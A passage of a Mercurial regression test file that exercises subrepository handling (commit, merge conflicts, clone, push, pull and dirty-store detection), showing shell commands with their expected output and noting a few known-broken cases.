96 96 branch: default
97 97 commit: 1 subrepos
98 98 update: (current)
99 99 phases: 2 draft
100 100 $ hg co -C 1
101 101 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
102 102 $ hg sum
103 103 parent: 1:7cf8cfea66e4 tip
104 104 1
105 105 branch: default
106 106 commit: (clean)
107 107 update: (current)
108 108 phases: 2 draft
109 109
110 110 commands that require a clean repo should respect subrepos
111 111
112 112 $ echo b >> s/a
113 113 $ hg backout tip
114 114 abort: uncommitted changes in subrepository "s"
115 115 [255]
116 116 $ hg revert -C -R s s/a
117 117
118 118 add sub sub
119 119
120 120 $ echo ss = ss > s/.hgsub
121 121 $ hg init s/ss
122 122 $ echo a > s/ss/a
123 123 $ hg -R s add s/.hgsub
124 124 $ hg -R s/ss add s/ss/a
125 125 $ hg sum
126 126 parent: 1:7cf8cfea66e4 tip
127 127 1
128 128 branch: default
129 129 commit: 1 subrepos
130 130 update: (current)
131 131 phases: 2 draft
132 132 $ hg ci -m2
133 133 committing subrepository s
134 134 committing subrepository s/ss (glob)
135 135 $ hg sum
136 136 parent: 2:df30734270ae tip
137 137 2
138 138 branch: default
139 139 commit: (clean)
140 140 update: (current)
141 141 phases: 3 draft
142 142
143 143 test handling .hgsubstate "modified" explicitly.
144 144
145 145 $ hg parents --template '{node}\n{files}\n'
146 146 df30734270ae757feb35e643b7018e818e78a9aa
147 147 .hgsubstate
148 148 $ hg rollback -q
149 149 $ hg status -A .hgsubstate
150 150 M .hgsubstate
151 151 $ hg ci -m2
152 152 $ hg parents --template '{node}\n{files}\n'
153 153 df30734270ae757feb35e643b7018e818e78a9aa
154 154 .hgsubstate
155 155
156 156 bump sub rev (and check it is ignored by ui.commitsubrepos)
157 157
158 158 $ echo b > s/a
159 159 $ hg -R s ci -ms1
160 160 $ hg --config ui.commitsubrepos=no ci -m3
161 161
162 162 leave sub dirty (and check ui.commitsubrepos=no aborts the commit)
163 163
164 164 $ echo c > s/a
165 165 $ hg --config ui.commitsubrepos=no ci -m4
166 166 abort: uncommitted changes in subrepository "s"
167 167 (use --subrepos for recursive commit)
168 168 [255]
169 169 $ hg id
170 170 f6affe3fbfaa+ tip
171 171 $ hg -R s ci -mc
172 172 $ hg id
173 173 f6affe3fbfaa+ tip
174 174 $ echo d > s/a
175 175 $ hg ci -m4
176 176 committing subrepository s
177 177 $ hg tip -R s
178 178 changeset: 4:02dcf1d70411
179 179 tag: tip
180 180 user: test
181 181 date: Thu Jan 01 00:00:00 1970 +0000
182 182 summary: 4
183 183
184 184
185 185 check caching
186 186
187 187 $ hg co 0
188 188 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
189 189 $ hg debugsub
190 190
191 191 restore
192 192
193 193 $ hg co
194 194 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
195 195 $ hg debugsub
196 196 path s
197 197 source s
198 198 revision 02dcf1d704118aee3ee306ccfa1910850d5b05ef
199 199
200 200 new branch for merge tests
201 201
202 202 $ hg co 1
203 203 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
204 204 $ echo t = t >> .hgsub
205 205 $ hg init t
206 206 $ echo t > t/t
207 207 $ hg -R t add t
208 208 adding t/t (glob)
209 209
210 210 5
211 211
212 212 $ hg ci -m5 # add sub
213 213 committing subrepository t
214 214 created new head
215 215 $ echo t2 > t/t
216 216
217 217 6
218 218
219 219 $ hg st -R s
220 220 $ hg ci -m6 # change sub
221 221 committing subrepository t
222 222 $ hg debugsub
223 223 path s
224 224 source s
225 225 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
226 226 path t
227 227 source t
228 228 revision 6747d179aa9a688023c4b0cad32e4c92bb7f34ad
229 229 $ echo t3 > t/t
230 230
231 231 7
232 232
233 233 $ hg ci -m7 # change sub again for conflict test
234 234 committing subrepository t
235 235 $ hg rm .hgsub
236 236
237 237 8
238 238
239 239 $ hg ci -m8 # remove sub
240 240
241 241 test handling .hgsubstate "removed" explicitly.
242 242
243 243 $ hg parents --template '{node}\n{files}\n'
244 244 96615c1dad2dc8e3796d7332c77ce69156f7b78e
245 245 .hgsub .hgsubstate
246 246 $ hg rollback -q
247 247 $ hg remove .hgsubstate
248 248 $ hg ci -m8
249 249 $ hg parents --template '{node}\n{files}\n'
250 250 96615c1dad2dc8e3796d7332c77ce69156f7b78e
251 251 .hgsub .hgsubstate
252 252
253 253 merge tests
254 254
255 255 $ hg co -C 3
256 256 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
257 257 $ hg merge 5 # test adding
258 258 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
259 259 (branch merge, don't forget to commit)
260 260 $ hg debugsub
261 261 path s
262 262 source s
263 263 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
264 264 path t
265 265 source t
266 266 revision 60ca1237c19474e7a3978b0dc1ca4e6f36d51382
267 267 $ hg ci -m9
268 268 created new head
269 269 $ hg merge 6 --debug # test change
270 270 searching for copies back to rev 2
271 271 resolving manifests
272 272 branchmerge: True, force: False, partial: False
273 273 ancestor: 1f14a2e2d3ec, local: f0d2028bf86d+, remote: 1831e14459c4
274 274 starting 4 threads for background file closing (?)
275 275 .hgsubstate: versions differ -> m (premerge)
276 276 subrepo merge f0d2028bf86d+ 1831e14459c4 1f14a2e2d3ec
277 277 subrepo t: other changed, get t:6747d179aa9a688023c4b0cad32e4c92bb7f34ad:hg
278 278 getting subrepo t
279 279 resolving manifests
280 280 branchmerge: False, force: False, partial: False
281 281 ancestor: 60ca1237c194, local: 60ca1237c194+, remote: 6747d179aa9a
282 282 t: remote is newer -> g
283 283 getting t
284 284 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
285 285 (branch merge, don't forget to commit)
286 286 $ hg debugsub
287 287 path s
288 288 source s
289 289 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
290 290 path t
291 291 source t
292 292 revision 6747d179aa9a688023c4b0cad32e4c92bb7f34ad
293 293 $ echo conflict > t/t
294 294 $ hg ci -m10
295 295 committing subrepository t
296 296 $ HGMERGE=internal:merge hg merge --debug 7 # test conflict
297 297 searching for copies back to rev 2
298 298 resolving manifests
299 299 branchmerge: True, force: False, partial: False
300 300 ancestor: 1831e14459c4, local: e45c8b14af55+, remote: f94576341bcf
301 301 starting 4 threads for background file closing (?)
302 302 .hgsubstate: versions differ -> m (premerge)
303 303 subrepo merge e45c8b14af55+ f94576341bcf 1831e14459c4
304 304 subrepo t: both sides changed
305 305 subrepository t diverged (local revision: 20a0db6fbf6c, remote revision: 7af322bc1198)
306 306 starting 4 threads for background file closing (?)
307 307 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
308 308 merging subrepository "t"
309 309 searching for copies back to rev 2
310 310 resolving manifests
311 311 branchmerge: True, force: False, partial: False
312 312 ancestor: 6747d179aa9a, local: 20a0db6fbf6c+, remote: 7af322bc1198
313 313 preserving t for resolve of t
314 314 starting 4 threads for background file closing (?)
315 315 t: versions differ -> m (premerge)
316 316 picked tool ':merge' for t (binary False symlink False changedelete False)
317 317 merging t
318 318 my t@20a0db6fbf6c+ other t@7af322bc1198 ancestor t@6747d179aa9a
319 319 t: versions differ -> m (merge)
320 320 picked tool ':merge' for t (binary False symlink False changedelete False)
321 321 my t@20a0db6fbf6c+ other t@7af322bc1198 ancestor t@6747d179aa9a
322 322 warning: conflicts while merging t! (edit, then use 'hg resolve --mark')
323 323 0 files updated, 0 files merged, 0 files removed, 1 files unresolved
324 324 use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
325 325 subrepo t: merge with t:7af322bc1198a32402fe903e0b7ebcfc5c9bf8f4:hg
326 326 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
327 327 (branch merge, don't forget to commit)
328 328
329 329 should conflict
330 330
331 331 $ cat t/t
332 332 <<<<<<< local: 20a0db6fbf6c - test: 10
333 333 conflict
334 334 =======
335 335 t3
336 336 >>>>>>> other: 7af322bc1198 - test: 7
337 337
338 338 11: remove subrepo t
339 339
340 340 $ hg co -C 5
341 341 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
342 342 $ hg revert -r 4 .hgsub # remove t
343 343 $ hg ci -m11
344 344 created new head
345 345 $ hg debugsub
346 346 path s
347 347 source s
348 348 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
349 349
350 350 local removed, remote changed, keep changed
351 351
352 352 $ hg merge 6
353 353 remote [merge rev] changed subrepository t which local [working copy] removed
354 354 use (c)hanged version or (d)elete? c
355 355 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
356 356 (branch merge, don't forget to commit)
357 357 BROKEN: should include subrepo t
358 358 $ hg debugsub
359 359 path s
360 360 source s
361 361 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
362 362 $ cat .hgsubstate
363 363 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
364 364 6747d179aa9a688023c4b0cad32e4c92bb7f34ad t
365 365 $ hg ci -m 'local removed, remote changed, keep changed'
366 366 BROKEN: should include subrepo t
367 367 $ hg debugsub
368 368 path s
369 369 source s
370 370 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
371 371 BROKEN: should include subrepo t
372 372 $ cat .hgsubstate
373 373 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
374 374 $ cat t/t
375 375 t2
376 376
377 377 local removed, remote changed, keep removed
378 378
379 379 $ hg co -C 11
380 380 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
381 381 $ hg merge --config ui.interactive=true 6 <<EOF
382 382 > d
383 383 > EOF
384 384 remote [merge rev] changed subrepository t which local [working copy] removed
385 385 use (c)hanged version or (d)elete? d
386 386 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
387 387 (branch merge, don't forget to commit)
388 388 $ hg debugsub
389 389 path s
390 390 source s
391 391 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
392 392 $ cat .hgsubstate
393 393 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
394 394 $ hg ci -m 'local removed, remote changed, keep removed'
395 395 created new head
396 396 $ hg debugsub
397 397 path s
398 398 source s
399 399 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
400 400 $ cat .hgsubstate
401 401 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
402 402
403 403 local changed, remote removed, keep changed
404 404
405 405 $ hg co -C 6
406 406 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
407 407 $ hg merge 11
408 408 local [working copy] changed subrepository t which remote [merge rev] removed
409 409 use (c)hanged version or (d)elete? c
410 410 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
411 411 (branch merge, don't forget to commit)
412 412 BROKEN: should include subrepo t
413 413 $ hg debugsub
414 414 path s
415 415 source s
416 416 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
417 417 BROKEN: should include subrepo t
418 418 $ cat .hgsubstate
419 419 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
420 420 $ hg ci -m 'local changed, remote removed, keep changed'
421 421 created new head
422 422 BROKEN: should include subrepo t
423 423 $ hg debugsub
424 424 path s
425 425 source s
426 426 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
427 427 BROKEN: should include subrepo t
428 428 $ cat .hgsubstate
429 429 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
430 430 $ cat t/t
431 431 t2
432 432
433 433 local changed, remote removed, keep removed
434 434
435 435 $ hg co -C 6
436 436 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
437 437 $ hg merge --config ui.interactive=true 11 <<EOF
438 438 > d
439 439 > EOF
440 440 local [working copy] changed subrepository t which remote [merge rev] removed
441 441 use (c)hanged version or (d)elete? d
442 442 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
443 443 (branch merge, don't forget to commit)
444 444 $ hg debugsub
445 445 path s
446 446 source s
447 447 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
448 448 $ cat .hgsubstate
449 449 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
450 450 $ hg ci -m 'local changed, remote removed, keep removed'
451 451 created new head
452 452 $ hg debugsub
453 453 path s
454 454 source s
455 455 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
456 456 $ cat .hgsubstate
457 457 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
458 458
459 459 clean up to avoid having to fix up the tests below
460 460
461 461 $ hg co -C 10
462 462 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
463 463 $ cat >> $HGRCPATH <<EOF
464 464 > [extensions]
465 465 > strip=
466 466 > EOF
467 467 $ hg strip -r 11:15
468 468 saved backup bundle to $TESTTMP/t/.hg/strip-backup/*-backup.hg (glob)
469 469
470 470 clone
471 471
472 472 $ cd ..
473 473 $ hg clone t tc
474 474 updating to branch default
475 475 cloning subrepo s from $TESTTMP/t/s
476 476 cloning subrepo s/ss from $TESTTMP/t/s/ss (glob)
477 477 cloning subrepo t from $TESTTMP/t/t
478 478 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
479 479 $ cd tc
480 480 $ hg debugsub
481 481 path s
482 482 source s
483 483 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
484 484 path t
485 485 source t
486 486 revision 20a0db6fbf6c3d2836e6519a642ae929bfc67c0e
487 487
488 488 push
489 489
490 490 $ echo bah > t/t
491 491 $ hg ci -m11
492 492 committing subrepository t
493 493 $ hg push
494 494 pushing to $TESTTMP/t (glob)
495 495 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
496 496 no changes made to subrepo s since last push to $TESTTMP/t/s
497 497 pushing subrepo t to $TESTTMP/t/t
498 498 searching for changes
499 499 adding changesets
500 500 adding manifests
501 501 adding file changes
502 502 added 1 changesets with 1 changes to 1 files
503 503 searching for changes
504 504 adding changesets
505 505 adding manifests
506 506 adding file changes
507 507 added 1 changesets with 1 changes to 1 files
508 508
509 509 push -f
510 510
511 511 $ echo bah > s/a
512 512 $ hg ci -m12
513 513 committing subrepository s
514 514 $ hg push
515 515 pushing to $TESTTMP/t (glob)
516 516 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
517 517 pushing subrepo s to $TESTTMP/t/s
518 518 searching for changes
519 519 abort: push creates new remote head 12a213df6fa9! (in subrepository "s")
520 520 (merge or see 'hg help push' for details about pushing new heads)
521 521 [255]
522 522 $ hg push -f
523 523 pushing to $TESTTMP/t (glob)
524 524 pushing subrepo s/ss to $TESTTMP/t/s/ss (glob)
525 525 searching for changes
526 526 no changes found
527 527 pushing subrepo s to $TESTTMP/t/s
528 528 searching for changes
529 529 adding changesets
530 530 adding manifests
531 531 adding file changes
532 532 added 1 changesets with 1 changes to 1 files (+1 heads)
533 533 pushing subrepo t to $TESTTMP/t/t
534 534 searching for changes
535 535 no changes found
536 536 searching for changes
537 537 adding changesets
538 538 adding manifests
539 539 adding file changes
540 540 added 1 changesets with 1 changes to 1 files
541 541
542 542 check that unmodified subrepos are not pushed
543 543
544 544 $ hg clone . ../tcc
545 545 updating to branch default
546 546 cloning subrepo s from $TESTTMP/tc/s
547 547 cloning subrepo s/ss from $TESTTMP/tc/s/ss (glob)
548 548 cloning subrepo t from $TESTTMP/tc/t
549 549 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
550 550
551 551 the subrepos on the new clone have nothing to push to its source
552 552
553 553 $ hg push -R ../tcc .
554 554 pushing to .
555 555 no changes made to subrepo s/ss since last push to s/ss (glob)
556 556 no changes made to subrepo s since last push to s
557 557 no changes made to subrepo t since last push to t
558 558 searching for changes
559 559 no changes found
560 560 [1]
561 561
562 562 the subrepos on the source do not have a clean store versus the clone target
563 563 because they were never explicitly pushed to the source
564 564
565 565 $ hg push ../tcc
566 566 pushing to ../tcc
567 567 pushing subrepo s/ss to ../tcc/s/ss (glob)
568 568 searching for changes
569 569 no changes found
570 570 pushing subrepo s to ../tcc/s
571 571 searching for changes
572 572 no changes found
573 573 pushing subrepo t to ../tcc/t
574 574 searching for changes
575 575 no changes found
576 576 searching for changes
577 577 no changes found
578 578 [1]
579 579
580 580 after push their stores become clean
581 581
582 582 $ hg push ../tcc
583 583 pushing to ../tcc
584 584 no changes made to subrepo s/ss since last push to ../tcc/s/ss (glob)
585 585 no changes made to subrepo s since last push to ../tcc/s
586 586 no changes made to subrepo t since last push to ../tcc/t
587 587 searching for changes
588 588 no changes found
589 589 [1]
590 590
591 591 updating a subrepo to a different revision or changing
592 592 its working directory does not make its store dirty
593 593
594 594 $ hg -R s update '.^'
595 595 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
596 596 $ hg push
597 597 pushing to $TESTTMP/t (glob)
598 598 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
599 599 no changes made to subrepo s since last push to $TESTTMP/t/s
600 600 no changes made to subrepo t since last push to $TESTTMP/t/t
601 601 searching for changes
602 602 no changes found
603 603 [1]
604 604 $ echo foo >> s/a
605 605 $ hg push
606 606 pushing to $TESTTMP/t (glob)
607 607 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
608 608 no changes made to subrepo s since last push to $TESTTMP/t/s
609 609 no changes made to subrepo t since last push to $TESTTMP/t/t
610 610 searching for changes
611 611 no changes found
612 612 [1]
613 613 $ hg -R s update -C tip
614 614 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
615 615
616 616 committing into a subrepo makes its store (but not its parent's store) dirty
617 617
618 618 $ echo foo >> s/ss/a
619 619 $ hg -R s/ss commit -m 'test dirty store detection'
620 620
621 621 $ hg out -S -r `hg log -r tip -T "{node|short}"`
622 622 comparing with $TESTTMP/t (glob)
623 623 searching for changes
624 624 no changes found
625 625 comparing with $TESTTMP/t/s
626 626 searching for changes
627 627 no changes found
628 628 comparing with $TESTTMP/t/s/ss
629 629 searching for changes
630 630 changeset: 1:79ea5566a333
631 631 tag: tip
632 632 user: test
633 633 date: Thu Jan 01 00:00:00 1970 +0000
634 634 summary: test dirty store detection
635 635
636 636 comparing with $TESTTMP/t/t
637 637 searching for changes
638 638 no changes found
639 639
640 640 $ hg push
641 641 pushing to $TESTTMP/t (glob)
642 642 pushing subrepo s/ss to $TESTTMP/t/s/ss (glob)
643 643 searching for changes
644 644 adding changesets
645 645 adding manifests
646 646 adding file changes
647 647 added 1 changesets with 1 changes to 1 files
648 648 no changes made to subrepo s since last push to $TESTTMP/t/s
649 649 no changes made to subrepo t since last push to $TESTTMP/t/t
650 650 searching for changes
651 651 no changes found
652 652 [1]
653 653
654 654 a subrepo store may be clean versus one repo but not versus another
655 655
656 656 $ hg push
657 657 pushing to $TESTTMP/t (glob)
658 658 no changes made to subrepo s/ss since last push to $TESTTMP/t/s/ss (glob)
659 659 no changes made to subrepo s since last push to $TESTTMP/t/s
660 660 no changes made to subrepo t since last push to $TESTTMP/t/t
661 661 searching for changes
662 662 no changes found
663 663 [1]
664 664 $ hg push ../tcc
665 665 pushing to ../tcc
666 666 pushing subrepo s/ss to ../tcc/s/ss (glob)
667 667 searching for changes
668 668 adding changesets
669 669 adding manifests
670 670 adding file changes
671 671 added 1 changesets with 1 changes to 1 files
672 672 no changes made to subrepo s since last push to ../tcc/s
673 673 no changes made to subrepo t since last push to ../tcc/t
674 674 searching for changes
675 675 no changes found
676 676 [1]
677 677
678 678 update
679 679
680 680 $ cd ../t
681 681 $ hg up -C # discard our earlier merge
682 682 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
683 683 updated to "c373c8102e68: 12"
684 684 2 other heads for branch "default"
685 685 $ echo blah > t/t
686 686 $ hg ci -m13
687 687 committing subrepository t
688 688
689 689 backout calls revert internally with minimal opts, which should not raise
690 690 KeyError
691 691
692 692 $ hg backout ".^" --no-commit
693 693 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
694 694 changeset c373c8102e68 backed out, don't forget to commit.
695 695
696 696 $ hg up -C # discard changes
697 697 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
698 698 updated to "925c17564ef8: 13"
699 699 2 other heads for branch "default"
700 700
701 701 pull
702 702
703 703 $ cd ../tc
704 704 $ hg pull
705 705 pulling from $TESTTMP/t (glob)
706 706 searching for changes
707 707 adding changesets
708 708 adding manifests
709 709 adding file changes
710 710 added 1 changesets with 1 changes to 1 files
711 711 (run 'hg update' to get a working copy)
712 712
713 713 should pull t
714 714
715 715 $ hg incoming -S -r `hg log -r tip -T "{node|short}"`
716 716 comparing with $TESTTMP/t (glob)
717 717 no changes found
718 718 comparing with $TESTTMP/t/s
719 719 searching for changes
720 720 no changes found
721 721 comparing with $TESTTMP/t/s/ss
722 722 searching for changes
723 723 no changes found
724 724 comparing with $TESTTMP/t/t
725 725 searching for changes
726 726 changeset: 5:52c0adc0515a
727 727 tag: tip
728 728 user: test
729 729 date: Thu Jan 01 00:00:00 1970 +0000
730 730 summary: 13
731 731
732 732
733 733 $ hg up
734 734 pulling subrepo t from $TESTTMP/t/t
735 735 searching for changes
736 736 adding changesets
737 737 adding manifests
738 738 adding file changes
739 739 added 1 changesets with 1 changes to 1 files
740 740 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
741 741 updated to "925c17564ef8: 13"
742 742 2 other heads for branch "default"
743 743 $ cat t/t
744 744 blah
745 745
746 746 bogus subrepo path aborts
747 747
748 748 $ echo 'bogus=[boguspath' >> .hgsub
749 749 $ hg ci -m 'bogus subrepo path'
750 750 abort: missing ] in subrepository source
751 751 [255]
752 752
753 753 Issue1986: merge aborts when trying to merge a subrepo that
754 754 shouldn't need merging
755 755
756 756 # subrepo layout
757 757 #
758 758 # o 5 br
759 759 # /|
760 760 # o | 4 default
761 761 # | |
762 762 # | o 3 br
763 763 # |/|
764 764 # o | 2 default
765 765 # | |
766 766 # | o 1 br
767 767 # |/
768 768 # o 0 default
769 769
770 770 $ cd ..
771 771 $ rm -rf sub
772 772 $ hg init main
773 773 $ cd main
774 774 $ hg init s
775 775 $ cd s
776 776 $ echo a > a
777 777 $ hg ci -Am1
778 778 adding a
779 779 $ hg branch br
780 780 marked working directory as branch br
781 781 (branches are permanent and global, did you want a bookmark?)
782 782 $ echo a >> a
783 783 $ hg ci -m1
784 784 $ hg up default
785 785 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
786 786 $ echo b > b
787 787 $ hg ci -Am1
788 788 adding b
789 789 $ hg up br
790 790 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
791 791 $ hg merge tip
792 792 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
793 793 (branch merge, don't forget to commit)
794 794 $ hg ci -m1
795 795 $ hg up 2
796 796 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
797 797 $ echo c > c
798 798 $ hg ci -Am1
799 799 adding c
800 800 $ hg up 3
801 801 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
802 802 $ hg merge 4
803 803 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
804 804 (branch merge, don't forget to commit)
805 805 $ hg ci -m1
806 806
807 807 # main repo layout:
808 808 #
809 809 # * <-- try to merge default into br again
810 810 # .`|
811 811 # . o 5 br --> substate = 5
812 812 # . |
813 813 # o | 4 default --> substate = 4
814 814 # | |
815 815 # | o 3 br --> substate = 2
816 816 # |/|
817 817 # o | 2 default --> substate = 2
818 818 # | |
819 819 # | o 1 br --> substate = 3
820 820 # |/
821 821 # o 0 default --> substate = 2
822 822
823 823 $ cd ..
824 824 $ echo 's = s' > .hgsub
825 825 $ hg -R s up 2
826 826 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
827 827 $ hg ci -Am1
828 828 adding .hgsub
829 829 $ hg branch br
830 830 marked working directory as branch br
831 831 (branches are permanent and global, did you want a bookmark?)
832 832 $ echo b > b
833 833 $ hg -R s up 3
834 834 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
835 835 $ hg ci -Am1
836 836 adding b
837 837 $ hg up default
838 838 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
839 839 $ echo c > c
840 840 $ hg ci -Am1
841 841 adding c
842 842 $ hg up 1
843 843 2 files updated, 0 files merged, 1 files removed, 0 files unresolved
844 844 $ hg merge 2
845 845 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
846 846 (branch merge, don't forget to commit)
847 847 $ hg ci -m1
848 848 $ hg up 2
849 849 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
850 850 $ hg -R s up 4
851 851 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
852 852 $ echo d > d
853 853 $ hg ci -Am1
854 854 adding d
855 855 $ hg up 3
856 856 2 files updated, 0 files merged, 1 files removed, 0 files unresolved
857 857 $ hg -R s up 5
858 858 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
859 859 $ echo e > e
860 860 $ hg ci -Am1
861 861 adding e
862 862
863 863 $ hg up 5
864 864 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
865 865 $ hg merge 4 # try to merge default into br again
866 866 subrepository s diverged (local revision: f8f13b33206e, remote revision: a3f9062a4f88)
867 867 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
868 868 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
869 869 (branch merge, don't forget to commit)
870 870 $ cd ..
871 871
872 872 test subrepo delete from .hgsubstate
873 873
874 874 $ hg init testdelete
875 875 $ mkdir testdelete/nested testdelete/nested2
876 876 $ hg init testdelete/nested
877 877 $ hg init testdelete/nested2
878 878 $ echo test > testdelete/nested/foo
879 879 $ echo test > testdelete/nested2/foo
880 880 $ hg -R testdelete/nested add
881 881 adding testdelete/nested/foo (glob)
882 882 $ hg -R testdelete/nested2 add
883 883 adding testdelete/nested2/foo (glob)
884 884 $ hg -R testdelete/nested ci -m test
885 885 $ hg -R testdelete/nested2 ci -m test
886 886 $ echo nested = nested > testdelete/.hgsub
887 887 $ echo nested2 = nested2 >> testdelete/.hgsub
888 888 $ hg -R testdelete add
889 889 adding testdelete/.hgsub (glob)
890 890 $ hg -R testdelete ci -m "nested 1 & 2 added"
891 891 $ echo nested = nested > testdelete/.hgsub
892 892 $ hg -R testdelete ci -m "nested 2 deleted"
893 893 $ cat testdelete/.hgsubstate
894 894 bdf5c9a3103743d900b12ae0db3ffdcfd7b0d878 nested
895 895 $ hg -R testdelete remove testdelete/.hgsub
896 896 $ hg -R testdelete ci -m ".hgsub deleted"
897 897 $ cat testdelete/.hgsubstate
898 898 bdf5c9a3103743d900b12ae0db3ffdcfd7b0d878 nested
899 899
900 900 test repository cloning
901 901
902 902 $ mkdir mercurial mercurial2
903 903 $ hg init nested_absolute
904 904 $ echo test > nested_absolute/foo
905 905 $ hg -R nested_absolute add
906 906 adding nested_absolute/foo (glob)
907 907 $ hg -R nested_absolute ci -mtest
908 908 $ cd mercurial
909 909 $ hg init nested_relative
910 910 $ echo test2 > nested_relative/foo2
911 911 $ hg -R nested_relative add
912 912 adding nested_relative/foo2 (glob)
913 913 $ hg -R nested_relative ci -mtest2
914 914 $ hg init main
915 915 $ echo "nested_relative = ../nested_relative" > main/.hgsub
916 916 $ echo "nested_absolute = `pwd`/nested_absolute" >> main/.hgsub
917 917 $ hg -R main add
918 918 adding main/.hgsub (glob)
919 919 $ hg -R main ci -m "add subrepos"
920 920 $ cd ..
921 921 $ hg clone mercurial/main mercurial2/main
922 922 updating to branch default
923 923 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
924 924 $ cat mercurial2/main/nested_absolute/.hg/hgrc \
925 925 > mercurial2/main/nested_relative/.hg/hgrc
926 926 [paths]
927 927 default = $TESTTMP/mercurial/nested_absolute
928 928 [paths]
929 929 default = $TESTTMP/mercurial/nested_relative
930 930 $ rm -rf mercurial mercurial2
931 931
932 932 Issue1977: multirepo push should fail if subrepo push fails
933 933
934 934 $ hg init repo
935 935 $ hg init repo/s
936 936 $ echo a > repo/s/a
937 937 $ hg -R repo/s ci -Am0
938 938 adding a
939 939 $ echo s = s > repo/.hgsub
940 940 $ hg -R repo ci -Am1
941 941 adding .hgsub
942 942 $ hg clone repo repo2
943 943 updating to branch default
944 944 cloning subrepo s from $TESTTMP/repo/s
945 945 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
946 946 $ hg -q -R repo2 pull -u
947 947 $ echo 1 > repo2/s/a
948 948 $ hg -R repo2/s ci -m2
949 949 $ hg -q -R repo2/s push
950 950 $ hg -R repo2/s up -C 0
951 951 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
952 952 $ echo 2 > repo2/s/b
953 953 $ hg -R repo2/s ci -m3 -A
954 954 adding b
955 955 created new head
956 956 $ hg -R repo2 ci -m3
957 957 $ hg -q -R repo2 push
958 958 abort: push creates new remote head cc505f09a8b2! (in subrepository "s")
959 959 (merge or see 'hg help push' for details about pushing new heads)
960 960 [255]
961 961 $ hg -R repo update
962 962 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
963 963
964 964 test if untracked file is not overwritten
965 965
966 966 (this also tests that updated .hgsubstate is treated as "modified",
967 967 when 'merge.update()' is aborted before 'merge.recordupdates()', even
968 968 if none of mode, size and timestamp of it isn't changed on the
969 969 filesystem (see also issue4583))
970 970
971 971 $ echo issue3276_ok > repo/s/b
972 972 $ hg -R repo2 push -f -q
973 973 $ touch -t 200001010000 repo/.hgsubstate
974 974
975 975 $ cat >> repo/.hg/hgrc <<EOF
976 976 > [fakedirstatewritetime]
977 977 > # emulate invoking dirstate.write() via repo.status()
978 978 > # at 2000-01-01 00:00
979 979 > fakenow = 200001010000
980 980 >
981 981 > [extensions]
982 982 > fakedirstatewritetime = $TESTDIR/fakedirstatewritetime.py
983 983 > EOF
984 984 $ hg -R repo update
985 985 b: untracked file differs
986 986 abort: untracked files in working directory differ from files in requested revision (in subrepository "s")
987 987 [255]
988 988 $ cat >> repo/.hg/hgrc <<EOF
989 989 > [extensions]
